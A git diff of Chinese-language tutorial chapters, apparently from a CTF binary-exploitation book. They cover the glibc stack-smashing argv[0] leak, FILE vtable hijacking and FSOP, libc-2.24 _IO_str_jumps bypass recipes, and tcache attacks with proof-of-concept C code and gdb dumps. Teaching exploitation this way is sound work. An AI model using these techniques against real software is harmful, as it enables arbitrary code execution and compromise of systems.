- ## libc 2.23 + Ubuntu 16.04 使用的是 libc-2.23,其 `__stack_chk_fail()` 函数如下: + ```c // debug/stack_chk_fail.c @@ -94,7 +103,9 @@ __stack_chk_fail (void) __fortify_fail ("stack smashing detected"); } ``` + 调用函数 `__fortify_fail()`: + ```c // debug/fortify_fail.c @@ -111,9 +122,11 @@ __fortify_fail (const char *msg) } libc_hidden_def (__fortify_fail) ``` + `__fortify_fail()` 调用函数 `__libc_message()` 打印出错误信息和 `argv[0]`。 还有一个错误信息输出到哪儿的问题,再看一下 `__libc_message()`: + ```c // sysdeps/posix/libc_fatal.c @@ -139,17 +152,19 @@ __libc_message (int do_abort, const char *fmt, ...) if (fd == -1) fd = STDERR_FILENO; ``` + 环境变量 `LIBC_FATAL_STDERR_` 通过函数 `__libc_secure_getenv` 来读取,如果该变量没有被设置或者为空,即 `\0` 或 `NULL`,错误信息 stderr 会被重定向到 `_PATH_TTY`,该值通常是 `/dev/tty`,因此会直接在当前终端打印出来,而不是传到 stderr。 - ## CTF 实例 + CTF 中就有这样一种题目,需要我们把 `argv[0]` 覆盖为 flag 的地址,并利用 `__stack_chk_fail()` 把flag 给打印出来。 实例可以查看章节 6.1.13 和 6.1.14。 - ## libc 2.25 + 最后我们来看一下 libc-2.25 里的 `__stack_chk_fail`: + ```c extern char **__libc_argv attribute_hidden; void @@ -160,7 +175,9 @@ __stack_chk_fail (void) } strong_alias (__stack_chk_fail, __stack_chk_fail_local) ``` + 它使用了新函数 `__fortify_fail_abort()`,这个函数是在 [BZ #12189](https://sourceware.org/git/?p=glibc.git;a=commit;h=ed421fca42fd9b4cab7c66e77894b8dd7ca57ed0) 这次提交中新增的: + ```c extern char **__libc_argv attribute_hidden; @@ -189,16 +206,18 @@ __fortify_fail (const char *msg) libc_hidden_def (__fortify_fail) libc_hidden_def (__fortify_fail_abort) ``` + 函数 `__fortify_fail_abort()` 在第一个参数为 `false` 时不再进行栈回溯,直接以打印出字符串 `` 结束,也就没有办法输出 `argv[0]` 了。 就像下面这样: -``` + +```text $ python -c 'print("A"*50)' | ./a.out argv[0]: ./a.out *** stack smashing detected ***: terminated Aborted (core dumped) ``` - ## 参考资料 + - [Adventure with Stack Smashing Protector (SSP)](http://site.pi3.com.pl/papers/ASSP.pdf) diff --git a/doc/4.13_io_file.md b/doc/4.13_io_file.md index bc977b1..f5a7099 100644 --- a/doc/4.13_io_file.md +++ b/doc/4.13_io_file.md @@ -8,11 +8,12 @@ - [CTF 实例](#ctf-实例) - [参考资料](#参考资料) - ## FILE 结构 + FILE 结构体的利用是一种通用的控制流劫持技术。攻击者可以覆盖堆上的 FILE 指针使其指向一个伪造的结构,利用结构中一个叫做 `vtable` 的指针,来执行任意代码。 我们知道 FILE 结构被一系列流操作函数(`fopen()`、`fread()`、`fclose()`等)所使用,大多数的 FILE 结构体保存在堆上(stdin、stdout、stderr除外,位于libc数据段),其指针动态创建并由 `fopen()` 返回。在 glibc(2.23) 中,这个结构体是 `_IO_FILE_plout`,包含了一个 `_IO_FILE` 结构体和一个指向 `_IO_jump_t` 结构体的指针: + ```c // libio/libioP.h @@ -59,7 +60,9 @@ struct _IO_FILE_plus extern struct _IO_FILE_plus *_IO_list_all; ``` + `vtable` 指向的函数跳转表其实是一种兼容 C++ 虚函数的实现。当程序对某个流进行操作时,会调用该流对应的跳转表中的某个函数。 + ```c // libio/libio.h @@ -135,9 +138,11 @@ extern struct _IO_FILE_plus _IO_2_1_stdin_; extern struct _IO_FILE_plus _IO_2_1_stdout_; extern struct _IO_FILE_plus _IO_2_1_stderr_; ``` + 进程中的 FILE 结构会通过 `_chain` 域构成一个链表,链表头部用全局变量 `_IO_list_all` 表示。 另外 `_IO_wide_data` 结构也是后面需要的: + ```c /* Extra data for wide character streams. */ struct _IO_wide_data @@ -166,8 +171,10 @@ struct _IO_wide_data }; ``` +### fopen + 下面我们来看几个函数的实现。 -#### fopen + ```c // libio/iofopen.c @@ -212,6 +219,7 @@ _IO_new_fopen (const char *filename, const char *mode) return __fopen_internal (filename, mode, 1); } ``` + ```c // libio/fileops.c @@ -230,6 +238,7 @@ _IO_new_file_init (struct _IO_FILE_plus *fp) fp->file._fileno = -1; } ``` + ```c // libio/genops.c @@ -258,7 +267,8 @@ _IO_link_in (struct _IO_FILE_plus *fp) } ``` -#### fread +### fread + ```c // libio/iofread.c @@ -276,6 +286,7 @@ _IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) return bytes_requested == bytes_read ? count : bytes_read / size; } ``` + ```c // libio/genops.c @@ -286,6 +297,7 @@ _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n) return _IO_XSGETN (fp, data, n); // 调用宏 _IO_XSGETN } ``` + ```c // libio/libioP.h @@ -306,7 +318,9 @@ _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n) #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) ``` + 所以 `_IO_XSGETN` 宏最终会调用 `vtable` 中的函数,即: + ```c // libio/fileops.c @@ -315,7 +329,8 @@ _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { ``` -#### fwrite +### fwrite + ```c // libio/iofwrite.c @@ -341,6 +356,7 @@ _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) return written / size; } ``` + ```c // libio/libioP.h @@ -348,7 +364,9 @@ _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n) ``` + `_IO_XSPUTN` 最终将调用下面的函数: + ```c // libio/fileops.c @@ -357,7 +375,8 @@ _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n) { ``` -#### fclose +### fclose + ```c // libio/iofclose.c @@ -415,14 +434,16 @@ _IO_new_fclose (_IO_FILE *fp) } ``` - ## FSOP + FSOP(File Stream Oriented Programming)是一种劫持 `_IO_list_all`(libc.so中的全局变量) 来伪造链表的利用技术,通过调用 `_IO_flush_all_lockp()` 函数来触发,该函数会在下面三种情况下被调用: + - libc 检测到内存错误时 - 执行 exit 函数时 - main 函数返回时 当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW`。 + ```c // libio/genops.c @@ -480,15 +501,18 @@ _IO_flush_all_lockp (int do_lock) return result; } ``` + ```c // libio/libioP.h #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) ``` + 于是在 `_IO_OVERFLOW(fp, EOF)` 的执行过程中最终会调用 `system('/bin/sh')`。 还有一条 FSOP 的路径是在关闭 stream 的时候: + ```c // libio/iofclose.c @@ -545,17 +569,20 @@ _IO_new_fclose (_IO_FILE *fp) return status; } ``` + ```c // libio/libioP.h #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0) #define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0) ``` + 于是在 `_IO_FINISH (fp)` 的执行过程中最终会调用 `system('/bin/sh')`。 - ## libc-2.24 防御机制 + 但是在 libc-2.24 中加入了对 vtable 指针的检查。这个 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) 新增了两个函数:`IO_validate_vtable` 和 `_IO_vtable_check`。 + ```c // libio/libioP.h @@ -576,6 +603,7 @@ IO_validate_vtable (const struct _IO_jump_t *vtable) return vtable; } ``` + ```c // libio/vtables.c @@ -615,12 +643,15 @@ _IO_vtable_check (void) __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); } ``` + 所有的 libio vtables 被放进了专用的只读的 `__libc_IO_vtables` 段,以使它们在内存中连续。在任何间接跳转之前,vtable 指针将根据段边界进行检查,如果指针不在这个段,则调用函数 `_IO_vtable_check()` 做进一步的检查,并且在必要时终止进程。 - ## libc-2.24 利用技术 -#### _IO_str_jumps + +### _IO_str_jumps + 在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`(该符号在strip后会丢失): + ```c // libio/strops.c @@ -648,12 +679,15 @@ const struct _IO_jump_t _IO_str_jumps libio_vtable = JUMP_INIT(imbue, _IO_default_imbue) }; ``` + ```c // libio/libioP.h #define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0) ``` + 这个 vtable 中包含了一个叫做 `_IO_str_overflow` 的函数,该函数中存在相对地址的引用(可伪造): + ```c int _IO_str_overflow (_IO_FILE *fp, int c) @@ -685,6 +719,7 @@ _IO_str_overflow (_IO_FILE *fp, int c) = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh") [...] ``` + ```c // libio/strfile.h @@ -706,7 +741,9 @@ typedef struct _IO_strfile_ struct _IO_str_fields _s; } _IO_strfile; ``` + 所以可以像下面这样构造: + - fp->_flags = 0 - fp->_IO_buf_base = 0 - fp->_IO_buf_end = (bin_sh_addr - 100) / 2 @@ -721,6 +758,7 @@ typedef struct _IO_strfile_ 与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。 在这个 vtable 中,还有另一个函数 `_IO_str_finish`,它的检查条件比较简单: + ```c void _IO_str_finish (_IO_FILE *fp, int dummy) @@ -732,11 +770,13 @@ _IO_str_finish (_IO_FILE *fp, int dummy) _IO_default_finish (fp, 0); } ``` + 只要在 `fp->_IO_buf_base` 放上 "/bin/sh" 的地址,然后设置 `fp->_flags = 0` 就可以了绕过函数里的条件。 那么怎样让程序进入 `_IO_str_finish` 执行呢,`fclose(fp)` 是一条路,但似乎有局限。还是回到异常处理上来,在 `_IO_flush_all_lockp` 函数中是通过 `_IO_OVERFLOW` 执行的 `__GI__IO_str_overflow`,而 `_IO_OVERFLOW` 是根据 `__overflow` 相对于 `_IO_str_jumps` vtable 的偏移找到具体函数的。所以如果我们伪造传递给 `_IO_OVERFLOW(fp)` 的 fp 是 vtable 的地址减去 0x8,那么根据偏移,程序将找到 `_IO_str_finish` 并执行。 所以可以像下面这样构造: + - fp->_mode = 0 - fp->_IO_write_ptr = 0xffffffff - fp->_IO_write_base = 0 @@ -746,8 +786,10 @@ _IO_str_finish (_IO_FILE *fp, int dummy) 完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`。 -#### _IO_wstr_jumps +### _IO_wstr_jumps + `_IO_wstr_jumps` 也是一个符合条件的 vtable,总体上和上面讲的 `_IO_str_jumps` 差不多: + ```c // libio/wstrops.c @@ -777,6 +819,7 @@ const struct _IO_jump_t _IO_wstr_jumps libio_vtable = ``` 利用函数 `_IO_wstr_overflow`: + ```c _IO_wint_t _IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c) @@ -814,6 +857,7 @@ _IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c) ``` 利用函数 `_IO_wstr_finish`: + ```c void _IO_wstr_finish (_IO_FILE *fp, int dummy) @@ -826,18 +870,19 @@ _IO_wstr_finish (_IO_FILE *fp, int dummy) } ``` - ## 最新动态 + 来自 glibc 的 master 分支上的一次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=4e8a6346cd3da2d88bbad745a1769260d36f2783),不出意外应该会出现在 libc-2.28 中。 该方法简单粗暴,用操作堆的 malloc 和 free 替换掉原来在 `_IO_str_fields` 里的 `_allocate_buffer` 和 `_free_buffer`。由于不再使用偏移,就不能再利用 `__libc_IO_vtables` 上的 vtable 绕过检查,于是上面的利用技术就都失效了。:( - ## CTF 实例 + 请查看章节 6.1.24、6.1.25 和 6.1.26。另外在章节 3.1.8 中也有相关内容。 附上偏移,构造时候方便一点: -``` + +```text 0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end @@ -870,7 +915,7 @@ _IO_wstr_finish (_IO_FILE *fp, int dummy) 0xd8 vtable ``` - ## 参考资料 + - [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) - [Play with FILE Structure - Yet Another Binary Exploit Technique](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique) diff --git a/doc/4.14_glibc_tcache.md b/doc/4.14_glibc_tcache.md index ccb9c6d..df72af6 100644 --- a/doc/4.14_glibc_tcache.md +++ b/doc/4.14_glibc_tcache.md @@ -6,12 +6,14 @@ - [CVE-2017-17426](#cve-2017-17426) - [参考资料](#参考资料) - ## tcache + tcache 全名 thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。libc-2.26 正式提供了该机制,并默认开启,具体可以查看这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc)。 -#### 数据结构 +### 数据结构 + glibc 在编译时使用 `USE_TCACHE` 条件来开启 tcache 机制,并定义了下面一些东西: + ```c #if USE_TCACHE /* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */ @@ -37,9 +39,11 @@ glibc 在编译时使用 `USE_TCACHE` 条件来开启 tcache 机制,并定义 # define TCACHE_FILL_COUNT 7 #endif ``` + 值得注意的比如每个线程默认使用 64 个单链表结构的 bins,每个 bins 最多存放 7 个 chunk。chunk 的大小在 64 位机器上以 16 字节递增,从 24 到 1032 字节。32 位机器上则是以 8 字节递增,从 12 到 512 字节。所以 tcache bin 只用于存放 non-large 的 chunk。 然后引入了两个新的数据结构,`tcache_entry` 和 `tcache_perthread_struct`: + ```c /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ @@ -61,9 +65,11 @@ typedef struct tcache_perthread_struct static __thread tcache_perthread_struct *tcache = NULL; ``` + tcache_perthread_struct 包含一个数组 entries,用于放置 64 个 bins,数组 counts 存放每个 bins 中的 chunk 数量。每个被放入相应 bins 中的 chunk 都会在其用户数据中包含一个 tcache_entry(FD指针),指向同 bins 中的下一个 chunk,构成单链表。 tcache 初始化操作如下: + ```c static void tcache_init(void) @@ -101,24 +107,28 @@ tcache_init(void) } ``` -#### 使用 +### 使用 + 触发在 tcache 中放入 chunk 的操作: + - free 时:在 fastbin 的操作之前进行,如果 chunk size 符合要求,并且对应的 bins 还未装满,则将其放进去。 -```c -#if USE_TCACHE + + ```c + #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache - && tc_idx < mp_.tcache_bins - && tcache->counts[tc_idx] < mp_.tcache_count) + && tc_idx < mp_.tcache_bins + && tcache->counts[tc_idx] < mp_.tcache_count) { - tcache_put (p, tc_idx); - return; + tcache_put (p, tc_idx); + return; } } -#endif -``` + #endif + ``` + - malloc 时:有三个地方会触发。 - 如果从 fastbin 中成功返回了一个需要的 chunk,那么对应 fastbin 中的其他 chunk 会被放进相应的 tcache bin 中,直到上限。需要注意的是 chunks 在 tcache bin 的顺序和在 fastbin 中的顺序是反过来的。 @@ -148,7 +158,9 @@ tcache_init(void) } #endif ``` + - smallbin 中的情况与 fastbin 相似,双链表中的剩余 chunk 会被填充到 tcache bin 中,直到上限。 + ```c #if USE_TCACHE /* While we're here, if we see other chunks of the same size, @@ -177,7 +189,9 @@ tcache_init(void) } #endif ``` + - binning code(chunk合并等其他情况)中,每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache 会返回其中一个。 + ```c #if USE_TCACHE /* Fill cache first, return to user only if cache fills. @@ -195,7 +209,9 @@ tcache_init(void) ``` 触发从 tcache 中取出 chunk 的操作: + - 在 `__libc_malloc()` 调用 `_int_malloc()` 之前,如果 tcache bin 中有符合要求的 chunk,则直接将它返回。 + ```c #if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ @@ -216,7 +232,9 @@ tcache_init(void) DIAG_POP_NEEDS_COMMENT; #endif ``` + - bining code 中,如果在 tcache 中放入 chunk 达到上限,则会直接返回最后一个 chunk。 + ```c #if USE_TCACHE /* If we've processed as many chunks as we're allowed while @@ -230,26 +248,31 @@ tcache_init(void) } #endif ``` + 当然默认情况下没有限制,所以这段代码也不会执行: + ```c .tcache_unsorted_limit = 0 /* No limit. */ ``` + - binning code 结束后,如果没有直接返回(如上),那么如果有至少一个符合要求的 chunk 被找到,则返回最后一个。 -```c -#if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } -#endif -``` + + ```c + #if USE_TCACHE + /* If all the small chunks we found ended up cached, return one now. */ + if (return_cached) + { + return tcache_get (tc_idx); + } + #endif + ``` 另外还需要注意的是 tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。 - ## 安全性分析 + `tcache_put()` 和 `tcache_get()` 分别用于从单链表中放入和取出 chunk: + ```c /* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */ @@ -276,9 +299,11 @@ tcache_get (size_t tc_idx) return (void *) e; } ``` + 可以看到注释部分,它假设调用者已经对参数进行了有效性检查,然而由于对 tcache 的操作在 free 和 malloc 中往往都处于很靠前的位置,导致原来的许多有效性检查都被无视了。这样做虽然有利于提升执行效率,但对安全性造成了负面影响。 -#### tcache_dup +### tcache_dup + ```c #include #include @@ -294,18 +319,21 @@ int main() { fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10)); } ``` -``` -$ ./tcache_dup + +```text +$ ./tcache_dup 1st malloc(0x10): 0x56088c39f260 Freeing the first one Freeing the first one again 2nd malloc(0x10): 0x56088c39f260 3rd malloc(0x10): 0x56088c39f260 ``` + tcache_dup 与 fastbin_dup 类似,但其实更加简单,因为它并不局限于 fastbin,只要在 tcache chunk 范围内的都可以,而且 double-free 也不再需要考虑 top 的问题,直接 free 两次就可以了。然后我们就可以得到相同的 chunk。 第一次 free 后: -``` + +```text gdb-peda$ x/4gx 0x0000555555756260-0x10 0x555555756250: 0x0000000000000000 0x0000000000000021 0x555555756260: 0x0000000000000000 0x0000000000000000 @@ -319,10 +347,12 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10 0x555555756040: 0x0000000000000000 0x0000000000000000 0x555555756050: 0x0000555555756260 0x0000000000000000 <-- entries ``` + chunk 被放入相应的 tcache bin 中,可以看到该 tcache bin 的 counts 被设为 1,表示有 1 个 chunk,入口为 0x0000555555756260。 第二次 free 后: -``` + +```text gdb-peda$ x/4gx 0x0000555555756260-0x10 0x555555756250: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [double freed] 0x555555756260: 0x0000555555756260 0x0000000000000000 @@ -333,10 +363,12 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10 0x555555756040: 0x0000000000000000 0x0000000000000000 0x555555756050: 0x0000555555756260 0x0000000000000000 <-- entries ``` + counts 变成 2,入口不变,表示 tcache bin 已经有两个 chunk 了,虽然是相同的。 两次 malloc 后: -``` + +```text gdb-peda$ x/10gx 0x0000555555756000+0x10 0x555555756010: 0x0000000000000000 0x0000000000000000 <-- counts 0x555555756020: 0x0000000000000000 0x0000000000000000 @@ -344,9 +376,11 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10 0x555555756040: 0x0000000000000000 0x0000000000000000 0x555555756050: 0x0000555555756260 0x0000000000000000 ``` + 于是我们得到了两个指向同一块内存区域的指针。 -#### tcache_house_of_spirit +### tcache_house_of_spirit + ```c #include #include @@ -376,8 +410,9 @@ int main() { fprintf(stderr, "malloc(0x100): %p\n", b); } ``` -``` -$ ./tcache_house_of_spirit + +```text +$ ./tcache_house_of_spirit We will overwrite a pointer to point to a fake 'smallbin' region. The chunk: 0x7fffffffdb00 Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00. @@ -385,20 +420,24 @@ Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10! malloc(0x100): 0x7fffffffdb10 ``` + tcache 在释放堆块时没有对其前后堆块进行合法性校验,只需要本块对齐(2*SIZE_SZ)就可以将堆块释放到 tcache 中,而在申请时,tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到 smallbin,而且比以前更加简单。 在栈上构造 fake chunk,大小为 smallbin: -``` -gdb-peda$ x/10gx fake_chunk + +```text +gdb-peda$ x/10gx fake_chunk 0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk 0x7fffffffdae0: 0x4141414141414141 0x4141414141414141 0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141 0x7fffffffdb00: 0x4141414141414141 0x4141414141414141 0x7fffffffdb10: 0x4141414141414141 0x4141414141414141 ``` + free 掉之后,该 fake chunk 被放进 tcache bin: -``` -gdb-peda$ x/10gx fake_chunk + +```text +gdb-peda$ x/10gx fake_chunk 0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk [be freed] 0x7fffffffdae0: 0x0000000000000000 0x4141414141414141 0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141 @@ -424,22 +463,26 @@ gdb-peda$ x/30gx 0x0000555555756000+0x10 0x5555557560e0: 0x0000000000000000 0x0000000000000000 0x5555557560f0: 0x0000000000000000 0x0000000000000000 ``` + 最后 malloc 即可将 fake chunk 取出来: -``` + +```text gdb-peda$ p b $1 = (unsigned long long *) 0x7fffffffdae0 gdb-peda$ p a $2 = (unsigned long long *) 0x7fffffffdae0 -gdb-peda$ x/10gx fake_chunk +gdb-peda$ x/10gx fake_chunk 0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- new chunk 0x7fffffffdae0: 0x4242424242424242 0x4242424242424242 0x7fffffffdaf0: 0x4242424242424242 0x4242424242424242 0x7fffffffdb00: 0x4242424242424242 0x4242424242424242 0x7fffffffdb10: 0x4242424242424242 0x4242424242424242 ``` + 于是我们就在得到了一个在栈上的 chunk。 -#### tcache_overlapping_chunks +### tcache_overlapping_chunks + ```c #include #include @@ -470,8 +513,9 @@ int main() { fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8); } ``` -``` -$ ./tcache_overlapping_chunks + +```text +$ ./tcache_overlapping_chunks Allocated victim chunk with requested size 0x48: 0x555555756260 Allocated sentry element after victim: 0x5555557562b0 Emulating corruption of the victim's size to 0x110 @@ -480,10 +524,12 @@ Requested a chunk of 0x100 bytes p3: 0x555555756260 ~ 0x555555756368 p2: 0x5555557562b0 ~ 0x5555557562c8 ``` + 在 `_int_free()` 时,libc 完全没有对 chunk 进行检查,所以我们可以直接修改其 size,在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk,造成堆块重叠。 首先我们分配两个 chunk: -``` + +```text gdb-peda$ x/16gx 0x555555756260-0x10 0x555555756250: 0x0000000000000000 0x0000000000000051 <-- chunk p1 0x555555756260: 0x4141414141414141 0x4141414141414141 @@ -494,8 +540,10 @@ gdb-peda$ x/16gx 0x555555756260-0x10 0x5555557562b0: 0x4141414141414141 0x4141414141414141 0x5555557562c0: 0x4141414141414141 0x0000000000000411 ``` + 然后修改第一个的 size 并将其释放: -``` + +```text gdb-peda$ x/16gx 0x555555756260-0x10 0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p1 [be freed] 0x555555756260: 0x0000000000000000 0x4141414141414141 @@ -525,10 +573,12 @@ gdb-peda$ x/30gx 0x0000555555756000+0x10 0x5555557560e0: 0x0000000000000000 0x0000000000000000 0x5555557560f0: 0x0000000000000000 0x0000000000000000 ``` + 可以看到 chunk p1 并没有放到它应该去的 tcache bin 中,而是放到了修改 size 后对应的 tcache bin。 最后将其 malloc 出来: -``` + +```text gdb-peda$ p p3 $1 = (intptr_t *) 0x555555756260 gdb-peda$ p p2 @@ -555,9 +605,11 @@ gdb-peda$ x/36gx 0x555555756260-0x10 0x555555756350: 0x4242424242424242 0x4242424242424242 0x555555756360: 0x4242424242424242 0x0000000000000000 ``` + 于是 chunk p2 被 chunk p3 覆盖了。 -#### tcache_poisoning +### tcache_poisoning + ```c #include #include @@ -586,8 +638,9 @@ int main() { fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3); } ``` -``` -$ ./tcache_poisoning + +```text +$ ./tcache_poisoning Our target is a stack region at 0x7fffffffdcc0 Allocated victim chunk with requested size 0x30 at 0x555555756670 Freed victim chunk to put it in a tcache bin @@ -595,10 +648,12 @@ Emulating corruption of the next ptr Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0 ``` + 该实例通过破坏 tcache bin 中 chunk 的 fd 指针,将其指向不同的位置,从而改变 `tcache_entry` 的 `next` 指针,在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。 分配一个 chunk p1 后释放,该 chunk 将被放入相应的 tcache bin,其 fd 指针被清空: -``` + +```text gdb-peda$ x/10gx (void *)p1-0x10 0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed] 0x555555756670: 0x0000000000000000 0x4141414141414141 <-- fd pointer @@ -616,8 +671,10 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x0000555555756670 0x0000000000000000 <-- entries ``` + 然后修改 fd 指针指向栈上的地址 target: -``` + +```text gdb-peda$ x/10gx (void *)p1-0x10 0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed] 0x555555756670: 0x00007fffffffdc80 0x4141414141414141 <-- fd pointer @@ -625,8 +682,10 @@ gdb-peda$ x/10gx (void *)p1-0x10 0x555555756690: 0x4141414141414141 0x4141414141414141 0x5555557566a0: 0x4141414141414141 0x0000000000020961 ``` + 接下来的第一次 malloc 将 chunk p1 的地方取出: -``` + +```text gdb-peda$ x/10gx (void *)p1-0x10 0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p2 0x555555756670: 0x4242424242424242 0x4242424242424242 @@ -641,10 +700,12 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x00007fffffffdc80 0x0000000000000000 <-- entries ``` + 可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。 第二次 malloc,虽然 tcache bin 的 counts 为 0,但它并没有做检查,直接在 entries 指向的地方返回了一个 chunk: -``` + +```text gdb-peda$ x/10gx (void *)p3-0x10 0x7fffffffdc70: 0x0000555555756670 0x00007fffffffdc80 <-- chunk p3 0x7fffffffdc80: 0x4242424242424242 0x4242424242424242 @@ -652,10 +713,12 @@ gdb-peda$ x/10gx (void *)p3-0x10 0x7fffffffdca0: 0x4242424242424242 0x4242424242424242 0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000 ``` + 于是我们得到了一个在栈上的 chunk。 有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`): -``` + +```text gdb-peda$ x/12gx 0x0000555555756000+0x10 0x555555756010: 0x0000000000ff0000 0x0000000000000000 0x555555756020: 0x0000000000000000 0x0000000000000000 @@ -664,21 +727,23 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x00000000000000c2 0x0000000000000000 ``` + 看来这个机制仍然存在很多的问题啊。 注:突然发现这个 `0xff` 在 unsorted bin attack 里有很巧妙的用处,参考章节 3.1.8。 这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。 - ## CTF 实例 + 在最近的 CTF 中,已经开始尝试使用 libc-2.26,比如章节 6.1.15、6.1.19 中的例子。 - ## CVE-2017-17426 + libc-2.26 中的 tcache 机制被发现了安全漏洞,由于 `__libc_malloc()` 使用 `request2size()` 来将所请求的分配大小转换为计算块大小,该函数不会进行整数溢出检查。所以如果请求一个非常大的堆块(接近 `SIZE_MAX`),将会导致整数溢出,从而导致 malloc 错误地返回了 tcache bin 里的堆块。 一个例子: + ```c #include #include @@ -692,7 +757,8 @@ int main() { printf("malloc(((size_t)~0) - 2): %p\n", y); } ``` -``` + +```text $ gcc cve201717426.c $ /usr/local/glibc-2.26/lib/ld-2.26.so ./a.out malloc(10): 0x7f3f945ed260 @@ -701,10 +767,13 @@ $ /usr/local/glibc-2.27/lib/ld-2.27.so ./a.out malloc(10): 0x7f399c69e260 malloc(((size_t)~0) - 2): (nil) ``` + 可以看到在使用 libc-2.26 时,第二次 malloc 返回了第一次 free 的堆块。而在使用 libc-2.27 时返回 NULL,说明该问题已被修复。 -#### patch +### patch + 该漏洞在 libc-2.27 的这次 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=34697694e8a93b325b18f25f7dcded55d6baeaf6) 中被修复。方法是用更安全的 `checked_request2size()` 替换 `request2size()`,以实现对整数溢出的检查: + ```diff $ git show 34697694e8a93b325b18f25f7dcded55d6baeaf6 malloc/malloc.c | cat commit 34697694e8a93b325b18f25f7dcded55d6baeaf6 @@ -712,13 +781,13 @@ Author: Arjun Shankar Date: Thu Nov 30 13:31:45 2017 +0100 Fix integer overflow in malloc when tcache is enabled [BZ #22375] - + When the per-thread cache is enabled, __libc_malloc uses request2size (which does not perform an overflow check) to calculate the chunk size from the requested allocation size. This leads to an integer overflow causing malloc to incorrectly return the last successfully allocated block when called with a very large size argument (close to SIZE_MAX). - + This commit uses checked_request2size instead, removing the overflow. diff --git a/malloc/malloc.c b/malloc/malloc.c @@ -733,12 +802,12 @@ 